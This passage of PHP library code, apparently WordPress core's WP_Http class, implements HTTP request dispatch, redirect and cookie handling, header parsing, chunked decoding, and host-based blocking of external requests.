=> null, 'limit_response_size' => null, ); // Pre-parse for the HEAD checks. $args = wp_parse_args( $args ); // By default, HEAD requests do not cause redirections. if ( isset( $args['method'] ) && 'HEAD' === $args['method'] ) { $defaults['redirection'] = 0; } $parsed_args = wp_parse_args( $args, $defaults ); /** * Filters the arguments used in an HTTP request. * * @since 2.7.0 * * @param array $parsed_args An array of HTTP request arguments. * @param string $url The request URL. */ $parsed_args = apply_filters( 'http_request_args', $parsed_args, $url ); // The transports decrement this, store a copy of the original value for loop purposes. if ( ! isset( $parsed_args['_redirection'] ) ) { $parsed_args['_redirection'] = $parsed_args['redirection']; } /** * Filters the preemptive return value of an HTTP request. * * Returning a non-false value from the filter will short-circuit the HTTP request and return * early with that value. A filter should return one of: * * - An array containing 'headers', 'body', 'response', 'cookies', and 'filename' elements * - A WP_Error instance * - boolean false to avoid short-circuiting the response * * Returning any other value may result in unexpected behavior. * * @since 2.9.0 * * @param false|array|WP_Error $response A preemptive return value of an HTTP request. Default false. * @param array $parsed_args HTTP request arguments. * @param string $url The request URL. */ $pre = apply_filters( 'pre_http_request', false, $parsed_args, $url ); if ( false !== $pre ) { return $pre; } if ( function_exists( 'wp_kses_bad_protocol' ) ) { if ( $parsed_args['reject_unsafe_urls'] ) { $url = wp_http_validate_url( $url ); } if ( $url ) { $url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) ); } } $parsed_url = parse_url( $url ); if ( empty( $url ) || empty( $parsed_url['scheme'] ) ) { $response = new WP_Error( 'http_request_failed', __( 'A valid URL was not provided.' ) ); /** This action is documented in wp-includes/class-wp-http.php */ do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url ); return $response; } if ( $this->block_request( $url ) ) { $response = new WP_Error( 'http_request_not_executed', __( 'User has blocked requests through HTTP.' ) ); /** This action is documented in wp-includes/class-wp-http.php */ do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url ); return $response; } // If we are streaming to a file but no filename was given drop it in the WP temp dir // and pick its name using the basename of the $url. if ( $parsed_args['stream'] ) { if ( empty( $parsed_args['filename'] ) ) { $parsed_args['filename'] = get_temp_dir() . basename( $url ); } // Force some settings if we are streaming to a file and check for existence // and perms of destination directory. $parsed_args['blocking'] = true; if ( ! wp_is_writable( dirname( $parsed_args['filename'] ) ) ) { $response = new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) ); /** This action is documented in wp-includes/class-wp-http.php */ do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url ); return $response; } } if ( is_null( $parsed_args['headers'] ) ) { $parsed_args['headers'] = array(); } // WP allows passing in headers as a string, weirdly. if ( ! is_array( $parsed_args['headers'] ) ) { $processed_headers = WP_Http::processHeaders( $parsed_args['headers'] ); $parsed_args['headers'] = $processed_headers['headers']; } // Setup arguments. $headers = $parsed_args['headers']; $data = $parsed_args['body']; $type = $parsed_args['method']; $options = array( 'timeout' => $parsed_args['timeout'], 'useragent' => $parsed_args['user-agent'], 'blocking' => $parsed_args['blocking'], 'hooks' => new WP_HTTP_Requests_Hooks( $url, $parsed_args ), ); // Ensure redirects follow browser behavior. $options['hooks']->register( 'requests.before_redirect', array( static::class, 'browser_redirect_compatibility' ) ); // Validate redirected URLs. if ( function_exists( 'wp_kses_bad_protocol' ) && $parsed_args['reject_unsafe_urls'] ) { $options['hooks']->register( 'requests.before_redirect', array( static::class, 'validate_redirects' ) ); } if ( $parsed_args['stream'] ) { $options['filename'] = $parsed_args['filename']; } if ( empty( $parsed_args['redirection'] ) ) { $options['follow_redirects'] = false; } else { $options['redirects'] = $parsed_args['redirection']; } // Use byte limit, if we can. if ( isset( $parsed_args['limit_response_size'] ) ) { $options['max_bytes'] = $parsed_args['limit_response_size']; } // If we've got cookies, use and convert them to WpOrg\Requests\Cookie. if ( ! empty( $parsed_args['cookies'] ) ) { $options['cookies'] = WP_Http::normalize_cookies( $parsed_args['cookies'] ); } // SSL certificate handling. if ( ! $parsed_args['sslverify'] ) { $options['verify'] = false; $options['verifyname'] = false; } else { $options['verify'] = $parsed_args['sslcertificates']; } // All non-GET/HEAD requests should put the arguments in the form body. if ( 'HEAD' !== $type && 'GET' !== $type ) { $options['data_format'] = 'body'; } /** * Filters whether SSL should be verified for non-local requests. * * @since 2.8.0 * @since 5.1.0 The `$url` parameter was added. * * @param bool|string $ssl_verify Boolean to control whether to verify the SSL connection * or path to an SSL certificate. * @param string $url The request URL. */ $options['verify'] = apply_filters( 'https_ssl_verify', $options['verify'], $url ); // Check for proxies. $proxy = new WP_HTTP_Proxy(); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { $options['proxy'] = new WpOrg\Requests\Proxy\Http( $proxy->host() . ':' . $proxy->port() ); if ( $proxy->use_authentication() ) { $options['proxy']->use_authentication = true; $options['proxy']->user = $proxy->username(); $options['proxy']->pass = $proxy->password(); } } // Avoid issues where mbstring.func_overload is enabled. mbstring_binary_safe_encoding(); try { $requests_response = WpOrg\Requests\Requests::request( $url, $headers, $data, $type, $options ); // Convert the response into an array. $http_response = new WP_HTTP_Requests_Response( $requests_response, $parsed_args['filename'] ); $response = $http_response->to_array(); // Add the original object to the array. $response['http_response'] = $http_response; } catch ( WpOrg\Requests\Exception $e ) { $response = new WP_Error( 'http_request_failed', $e->getMessage() ); } reset_mbstring_encoding(); /** * Fires after an HTTP API response is received and before the response is returned. * * @since 2.8.0 * * @param array|WP_Error $response HTTP response or WP_Error object. * @param string $context Context under which the hook is fired. * @param string $class HTTP transport used. * @param array $parsed_args HTTP request arguments. * @param string $url The request URL. */ do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url ); if ( is_wp_error( $response ) ) { return $response; } if ( ! $parsed_args['blocking'] ) { return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), 'http_response' => null, ); } /** * Filters a successful HTTP API response immediately before the response is returned. * * @since 2.9.0 * * @param array $response HTTP response. * @param array $parsed_args HTTP request arguments. * @param string $url The request URL. */ return apply_filters( 'http_response', $response, $parsed_args, $url ); } /** * Normalizes cookies for using in Requests. * * @since 4.6.0 * * @param array $cookies Array of cookies to send with the request. * @return WpOrg\Requests\Cookie\Jar Cookie holder object. */ public static function normalize_cookies( $cookies ) { $cookie_jar = new WpOrg\Requests\Cookie\Jar(); foreach ( $cookies as $name => $value ) { if ( $value instanceof WP_Http_Cookie ) { $attributes = array_filter( $value->get_attributes(), static function ( $attr ) { return null !== $attr; } ); $cookie_jar[ $value->name ] = new WpOrg\Requests\Cookie( (string) $value->name, $value->value, $attributes, array( 'host-only' => $value->host_only ) ); } elseif ( is_scalar( $value ) ) { $cookie_jar[ $name ] = new WpOrg\Requests\Cookie( (string) $name, (string) $value ); } } return $cookie_jar; } /** * Match redirect behavior to browser handling. * * Changes 302 redirects from POST to GET to match browser handling. Per * RFC 7231, user agents can deviate from the strict reading of the * specification for compatibility purposes. * * @since 4.6.0 * * @param string $location URL to redirect to. * @param array $headers Headers for the redirect. * @param string|array $data Body to send with the request. * @param array $options Redirect request options. * @param WpOrg\Requests\Response $original Response object. */ public static function browser_redirect_compatibility( $location, $headers, $data, &$options, $original ) { // Browser compatibility. if ( 302 === $original->status_code ) { $options['type'] = WpOrg\Requests\Requests::GET; } } /** * Validate redirected URLs. * * @since 4.7.5 * * @throws WpOrg\Requests\Exception On unsuccessful URL validation. * @param string $location URL to redirect to. */ public static function validate_redirects( $location ) { if ( ! wp_http_validate_url( $location ) ) { throw new WpOrg\Requests\Exception( __( 'A valid URL was not provided.' ), 'wp_http.redirect_failed_validation' ); } } /** * Tests which transports are capable of supporting the request. * * @since 3.2.0 * @deprecated 6.4.0 Use WpOrg\Requests\Requests::get_transport_class() * @see WpOrg\Requests\Requests::get_transport_class() * * @param array $args Request arguments. * @param string $url URL to request. * @return string|false Class name for the first transport that claims to support the request. * False if no transport claims to support the request. */ public function _get_first_available_transport( $args, $url = null ) { $transports = array( 'curl', 'streams' ); /** * Filters which HTTP transports are available and in what order. * * @since 3.7.0 * @deprecated 6.4.0 Use WpOrg\Requests\Requests::get_transport_class() * * @param string[] $transports Array of HTTP transports to check. Default array contains * 'curl' and 'streams', in that order. * @param array $args HTTP request arguments. * @param string $url The URL to request. */ $request_order = apply_filters_deprecated( 'http_api_transports', array( $transports, $args, $url ), '6.4.0' ); // Loop over each transport on each HTTP request looking for one which will serve this request's needs. foreach ( $request_order as $transport ) { if ( in_array( $transport, $transports, true ) ) { $transport = ucfirst( $transport ); } $class = 'WP_Http_' . $transport; // Check to see if this transport is a possibility, calls the transport statically. if ( ! call_user_func( array( $class, 'test' ), $args, $url ) ) { continue; } return $class; } return false; } /** * Dispatches a HTTP request to a supporting transport. * * Tests each transport in order to find a transport which matches the request arguments. * Also caches the transport instance to be used later. * * The order for requests is cURL, and then PHP Streams. * * @since 3.2.0 * @deprecated 5.1.0 Use WP_Http::request() * @see WP_Http::request() * * @param string $url URL to request. * @param array $args Request arguments. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. */ private function _dispatch_request( $url, $args ) { static $transports = array(); $class = $this->_get_first_available_transport( $args, $url ); if ( ! $class ) { return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) ); } // Transport claims to support request, instantiate it and give it a whirl. if ( empty( $transports[ $class ] ) ) { $transports[ $class ] = new $class(); } $response = $transports[ $class ]->request( $url, $args ); /** This action is documented in wp-includes/class-wp-http.php */ do_action( 'http_api_debug', $response, 'response', $class, $args, $url ); if ( is_wp_error( $response ) ) { return $response; } /** This filter is documented in wp-includes/class-wp-http.php */ return apply_filters( 'http_response', $response, $args, $url ); } /** * Uses the POST HTTP method. * * Used for sending data that is expected to be in the body. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. See WP_Http::response() for details. */ public function post( $url, $args = array() ) { $defaults = array( 'method' => 'POST' ); $parsed_args = wp_parse_args( $args, $defaults ); return $this->request( $url, $parsed_args ); } /** * Uses the GET HTTP method. * * Used for sending data that is expected to be in the body. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. See WP_Http::response() for details. */ public function get( $url, $args = array() ) { $defaults = array( 'method' => 'GET' ); $parsed_args = wp_parse_args( $args, $defaults ); return $this->request( $url, $parsed_args ); } /** * Uses the HEAD HTTP method. * * Used for sending data that is expected to be in the body. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. See WP_Http::response() for details. */ public function head( $url, $args = array() ) { $defaults = array( 'method' => 'HEAD' ); $parsed_args = wp_parse_args( $args, $defaults ); return $this->request( $url, $parsed_args ); } /** * Parses the responses and splits the parts into headers and body. * * @since 2.7.0 * * @param string $response The full response string. * @return array { * Array with response headers and body. * * @type string $headers HTTP response headers. * @type string $body HTTP response body. * } */ public static function processResponse( $response ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid $response = explode( "\r\n\r\n", $response, 2 ); return array( 'headers' => $response[0], 'body' => isset( $response[1] ) ? $response[1] : '', ); } /** * Transforms header string into an array. * * @since 2.7.0 * * @param string|array $headers The original headers. If a string is passed, it will be converted * to an array. If an array is passed, then it is assumed to be * raw header data with numeric keys with the headers as the values. * No headers must be passed that were already processed. * @param string $url Optional. The URL that was requested. Default empty. * @return array { * Processed string headers. If duplicate headers are encountered, * then a numbered array is returned as the value of that header-key. * * @type array $response { * @type int $code The response status code. Default 0. * @type string $message The response message. Default empty. * } * @type array $newheaders The processed header data as a multidimensional array. * @type WP_Http_Cookie[] $cookies If the original headers contain the 'Set-Cookie' key, * an array containing `WP_Http_Cookie` objects is returned. * } */ public static function processHeaders( $headers, $url = '' ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid // Split headers, one per array element. if ( is_string( $headers ) ) { // Tolerate line terminator: CRLF = LF (RFC 2616 19.3). $headers = str_replace( "\r\n", "\n", $headers ); /* * Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) <US-ASCII SP, space (32)>, * <US-ASCII HT, horizontal-tab (9)> (RFC 2616 2.2). */ $headers = preg_replace( '/\n[ \t]/', ' ', $headers ); // Create the headers array. $headers = explode( "\n", $headers ); } $response = array( 'code' => 0, 'message' => '', ); /* * If a redirection has taken place, The headers for each page request may have been passed. * In this case, determine the final HTTP header and parse from there. */ for ( $i = count( $headers ) - 1; $i >= 0; $i-- ) { if ( ! empty( $headers[ $i ] ) && ! str_contains( $headers[ $i ], ':' ) ) { $headers = array_splice( $headers, $i ); break; } } $cookies = array(); $newheaders = array(); foreach ( (array) $headers as $tempheader ) { if ( empty( $tempheader ) ) { continue; } if ( ! str_contains( $tempheader, ':' ) ) { $stack = explode( ' ', $tempheader, 3 ); $stack[] = ''; list( , $response['code'], $response['message']) = $stack; continue; } list($key, $value) = explode( ':', $tempheader, 2 ); $key = strtolower( $key ); $value = trim( $value ); if ( isset( $newheaders[ $key ] ) ) { if ( ! is_array( $newheaders[ $key ] ) ) { $newheaders[ $key ] = array( $newheaders[ $key ] ); } $newheaders[ $key ][] = $value; } else { $newheaders[ $key ] = $value; } if ( 'set-cookie' === $key ) { $cookies[] = new WP_Http_Cookie( $value, $url ); } } // Cast the Response Code to an int. $response['code'] = (int) $response['code']; return array( 'response' => $response, 'headers' => $newheaders, 'cookies' => $cookies, ); } /** * Takes the arguments for a ::request() and checks for the cookie array. * * If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances, * which are each parsed into strings and added to the Cookie: header (within the arguments array). * Edits the array by reference. * * @since 2.8.0 * * @param array $r Full array of args passed into ::request() */ public static function buildCookieHeader( &$r ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid if ( ! empty( $r['cookies'] ) ) { // Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances. foreach ( $r['cookies'] as $name => $value ) { if ( ! is_object( $value ) ) { $r['cookies'][ $name ] = new WP_Http_Cookie( array( 'name' => $name, 'value' => $value, ) ); } } $cookies_header = ''; foreach ( (array) $r['cookies'] as $cookie ) { $cookies_header .= $cookie->getHeaderValue() . '; '; } $cookies_header = substr( $cookies_header, 0, -2 ); $r['headers']['cookie'] = $cookies_header; } } /** * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification. * * Based off the HTTP http_encoding_dechunk function. * * @link https://tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding. * * @since 2.7.0 * * @param string $body Body content. * @return string Chunked decoded body on success or raw body on failure. */ public static function chunkTransferDecode( $body ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid // The body is not chunked encoded or is malformed. if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) ) { return $body; } $parsed_body = ''; // We'll be altering $body, so need a backup in case of error. $body_original = $body; while ( true ) { $has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match ); if ( ! $has_chunk || empty( $match[1] ) ) { return $body_original; } $length = hexdec( $match[1] ); $chunk_length = strlen( $match[0] ); // Parse out the chunk of data. $parsed_body .= substr( $body, $chunk_length, $length ); // Remove the chunk from the raw data. $body = substr( $body, $length + $chunk_length ); // End of the document. if ( '0' === trim( $body ) ) { return $parsed_body; } } } /** * Determines whether an HTTP API request to the given URL should be blocked. * * Those who are behind a proxy and want to prevent access to certain hosts may do so. This will * prevent plugins from working and core functionality, if you don't include `api.wordpress.org`. * * You block external URL requests by defining `WP_HTTP_BLOCK_EXTERNAL` as true in your `wp-config.php` * file and this will only allow localhost and your site to make requests. The constant * `WP_ACCESSIBLE_HOSTS` will allow additional hosts to go through for requests. The format of the * `WP_ACCESSIBLE_HOSTS` constant is a comma separated list of hostnames to allow, wildcard domains * are supported, eg `*.wordpress.org` will allow for all subdomains of `wordpress.org` to be contacted. * * @since 2.8.0 * * @link https://core.trac.wordpress.org/ticket/8927 Allow preventing external requests. * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS * * @param string $uri URI of url. * @return bool True to block, false to allow. */ public function block_request( $uri ) { // We don't need to block requests, because nothing is blocked. if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL ) { return false; } $check = parse_url( $uri ); if ( ! $check ) { return true; } $home = parse_url( get_option( 'siteurl' ) ); // Don't block requests back to ourselves by default. if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) { /** * Filters whether to block local HTTP API requests. * * A local request is one to `localhost` or to the same host as the site itself. * * @since 2.8.0 * * @param bool $block Whether to block local requests. Default false. */ return apply_filters( 'block_local_requests', false ); } if ( ! defined( 'WP_ACCESSIBLE_HOSTS' ) ) { return true; } static $accessible_hosts = null; static $wildcard_regex = array(); if ( null === $accessible_hosts ) { $accessible_hosts = preg_split( '|,\s*|', WP_ACCESSIBLE_HOSTS ); if ( str_contains( WP_ACCESSIBLE_HOSTS, '*' ) ) { $wildcard_regex = array(); foreach ( $accessible_hosts as $host ) { $wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) ); } $wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i'; } } if ( ! empty( $wildcard_regex ) ) { return ! preg_match( $wildcard_regex, $check['host'] ); } else { return ! in_array( $check['host'], $accessible_hosts, true ); // Inverse logic, if it's in the array, then don't block it. } } /** * Used as a wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7. * * @deprecated 4.4.0 Use wp_parse_url() * @see wp_parse_url() * * @param string $url The URL to parse. * @return bool|array False on failure; Array of URL components on success; * See parse_url()'s return values. */ protected static function parse_url( $url ) { _deprecated_function( __METHOD__, '4.4.0', 'wp_parse_url()' ); return wp_parse_url( $url ); } /** * Converts a relative URL to an absolute URL relative to a given URL. * * If an Absolute URL is provided, no processing of that URL is done. * * @since 3.4.0 * * @param string $maybe_relative_path The URL which might be relative. * @param string $url The URL which $maybe_relative_path is relative to. * @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned. */ public static function make_absolute_url( $maybe_relative_path, $url ) { if ( empty( $url ) ) { return $maybe_relative_path; } $url_parts = wp_parse_url( $url ); if ( ! $url_parts ) { return $maybe_relative_path; } $relative_url_parts = wp_parse_url( $maybe_relative_path ); if ( ! $relative_url_parts ) { return $maybe_relative_path; } // Check for a scheme on the 'relative' URL. if ( ! empty( $relative_url_parts['scheme'] ) ) { return $maybe_relative_path; } $absolute_path = $url_parts['scheme'] . '://'; // Schemeless URLs will make it this far, so we check for a host in the relative URL // and convert it to a protocol-URL. if ( isset( $relative_url_parts['host'] ) ) { $absolute_path .= $relative_url_parts['host']; if ( isset( $relative_url_parts['port'] ) ) { $absolute_path .= ':' . $relative_url_parts['port']; } } else { $absolute_path .= $url_parts['host']; if ( isset( $url_parts['port'] ) ) { $absolute_path .= ':' . $url_parts['port']; } } // Start off with the absolute URL path. $path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/'; // If it's a root-relative path, then great. if ( ! empty( $relative_url_parts['path'] ) && '/' === $relative_url_parts['path'][0] ) { $path = $relative_url_parts['path']; // Else it's a relative path. } elseif ( ! empty( $relative_url_parts['path'] ) ) { // Strip off any file components from the absolute path. $path = substr( $path, 0, strrpos( $path, '/' ) + 1 ); // Build the new path. $path .= $relative_url_parts['path']; // Strip all /path/../ out of the path. while ( strpos( $path, '../' ) > 1 ) { $path = preg_replace( '![^/]+/\.\./!', '', $path ); } // Strip any final leading ../ from the path. $path = preg_replace( '!^/(\.\./)+!', '', $path ); } // Add the query string. if ( ! empty( $relative_url_parts['query'] ) ) { $path .= '?' . $relative_url_parts['query']; } // Add the fragment. if ( ! empty( $relative_url_parts['fragment'] ) ) { $path .= '#' . $relative_url_parts['fragment']; } return $absolute_path . '/' . ltrim( $path, '/' ); } /** * Handles an HTTP redirect and follows it if appropriate. * * @since 3.7.0 * * @param string $url The URL which was requested. * @param array $args The arguments which were used to make the request. * @param array $response The response of the HTTP request. * @return array|false|WP_Error An HTTP API response array if the redirect is successfully followed, * false if no redirect is present, or a WP_Error object if there's an error. */ public static function handle_redirects( $url, $args, $response ) { // If no redirects are present, or, redirects were not requested, perform no action. if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] ) { return false; } // Only perform redirections on redirection http codes. if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 ) { return false; } // Don't redirect if we've run out of redirects. if ( $args['redirection']-- <= 0 ) { return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } $redirect_location = $response['headers']['location']; // If there were multiple Location headers, use the last header specified. if ( is_array( $redirect_location ) ) { $redirect_location = array_pop( $redirect_location ); } $redirect_location = WP_Http::make_absolute_url( $redirect_location, $url ); // POST requests should not POST to a redirected location. if ( 'POST' === $args['method'] ) { if ( in_array( $response['response']['code'], array( 302, 303 ), true ) ) { $args['method'] = 'GET'; } } // Include valid cookies in the redirect process. if ( ! empty( $response['cookies'] ) ) { foreach ( $response['cookies'] as $cookie ) { if ( $cookie->test( $redirect_location ) ) { $args['cookies'][] = $cookie; } } } return wp_remote_request( $redirect_location, $args ); } /** * Determines if a specified string represents an IP address or not. * * This function also detects the type of the IP address, returning either * '4' or '6' to represent an IPv4 and IPv6 address respectively. * This does not verify if the IP is a valid IP, only that it appears to be * an IP address. * * @link http://home.deds.nl/~aeron/regex/ for IPv6 regex. * * @since 3.7.0 * * @param string $maybe_ip A suspected IP address. * @return int|false Upon success, '4' or '6' to represent an IPv4 or IPv6 address, false upon failure. */ public static function is_ip_address( $maybe_ip ) { if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) ) { return 4; } if ( str_contains( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) ) { return 6; } return false; } }